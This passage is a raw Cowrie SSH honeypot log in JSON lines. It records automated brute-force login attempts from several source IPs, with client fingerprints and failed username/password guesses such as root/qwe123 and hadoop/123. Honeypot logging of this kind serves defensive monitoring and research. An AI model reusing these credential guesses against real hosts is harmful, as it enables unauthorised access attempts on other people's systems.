{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:10.055384Z","src_ip":"152.32.171.99","session":"99a3edff3e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huy","message":"login attempt [root/huy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:10.954810Z","src_ip":"152.32.171.99","session":"99a3edff3e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:12.174385Z","src_ip":"152.32.171.99","session":"99a3edff3e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39292,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddc15f196efa","protocol":"ssh","message":"New connection: 83.168.110.85:39292 (159.203.135.109:22) [session: ddc15f196efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:14.638880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:14.643811Z","src_ip":"83.168.110.85","session":"ddc15f196efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:14.766461Z","src_ip":"83.168.110.85","session":"ddc15f196efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:15.133033Z","src_ip":"83.168.110.85","session":"ddc15f196efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:16.261112Z","src_ip":"83.168.110.85","session":"ddc15f196efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43520,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b8ee3b4c19","protocol":"ssh","message":"New connection: 83.168.110.85:43520 (159.203.135.109:22) [session: f7b8ee3b4c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:25.019499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:25.030394Z","src_ip":"83.168.110.85","session":"f7b8ee3b4c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:25.151255Z","src_ip":"83.168.110.85","session":"f7b8ee3b4c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:25.518155Z","src_ip":"83.168.110.85","session":"f7b8ee3b4c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:26.643133Z","src_ip":"83.168.110.85","session":"f7b8ee3b4c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59068,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2ce661f9cc8","protocol":"ssh","message":"New connection: 83.168.110.85:59068 (159.203.135.109:22) [session: d2ce661f9cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:35.224289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:35.228693Z","src_ip":"83.168.110.85","session":"d2ce661f9cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:35.350247Z","src_ip":"83.168.110.85","session":"d2ce661f9cc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:35.717035Z","src_ip":"83.168.110.85","session":"d2ce661f9cc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:36.892348Z","src_ip":"83.168.110.85","session":"d2ce661f9cc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":38884,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b73c4b002b0","protocol":"ssh","message":"New connection: 89.223.127.55:38884 (159.203.135.109:22) [session: 9b73c4b002b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:40.494971Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"e61067f6cd24","protocol":"ssh","message":"New connection: 83.168.110.85:45536 (159.203.135.109:22) [session: e61067f6cd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:45.305573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:45.315568Z","src_ip":"83.168.110.85","session":"e61067f6cd24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:45.437029Z","src_ip":"83.168.110.85","session":"e61067f6cd24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:45.802117Z","src_ip":"83.168.110.85","session":"e61067f6cd24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:46.998741Z","src_ip":"83.168.110.85","session":"e61067f6cd24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":35318,"dst_ip":"159.203.135.109","dst_port":22,"session":"1af69b8bfa1b","protocol":"ssh","message":"New connection: 103.118.29.129:35318 (159.203.135.109:22) [session: 1af69b8bfa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:48.641730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:48.646343Z","src_ip":"103.118.29.129","session":"1af69b8bfa1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:48.884314Z","src_ip":"103.118.29.129","session":"1af69b8bfa1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hafizah","message":"login attempt [root/hafizah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:49.877141Z","src_ip":"103.118.29.129","session":"1af69b8bfa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:51.122703Z","src_ip":"103.118.29.129","session":"1af69b8bfa1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47678,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f0913f3bc2f","protocol":"ssh","message":"New connection: 83.168.110.85:47678 (159.203.135.109:22) [session: 1f0913f3bc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:55.884881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:55.889280Z","src_ip":"83.168.110.85","session":"1f0913f3bc2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:56.010155Z","src_ip":"83.168.110.85","session":"1f0913f3bc2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:56.372587Z","src_ip":"83.168.110.85","session":"1f0913f3bc2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:27:57.520666Z","src_ip":"83.168.110.85","session":"1f0913f3bc2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39312,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e732e323425","protocol":"ssh","message":"New connection: 83.168.110.85:39312 (159.203.135.109:22) [session: 9e732e323425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:06.246238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:06.251096Z","src_ip":"83.168.110.85","session":"9e732e323425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:06.375730Z","src_ip":"83.168.110.85","session":"9e732e323425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:06.739269Z","src_ip":"83.168.110.85","session":"9e732e323425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:07.917058Z","src_ip":"83.168.110.85","session":"9e732e323425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":37748,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f761efe04ab","protocol":"ssh","message":"New connection: 160.251.185.39:37748 (159.203.135.109:22) [session: 2f761efe04ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:13.066565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:28:13.071375Z","src_ip":"160.251.185.39","session":"2f761efe04ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@op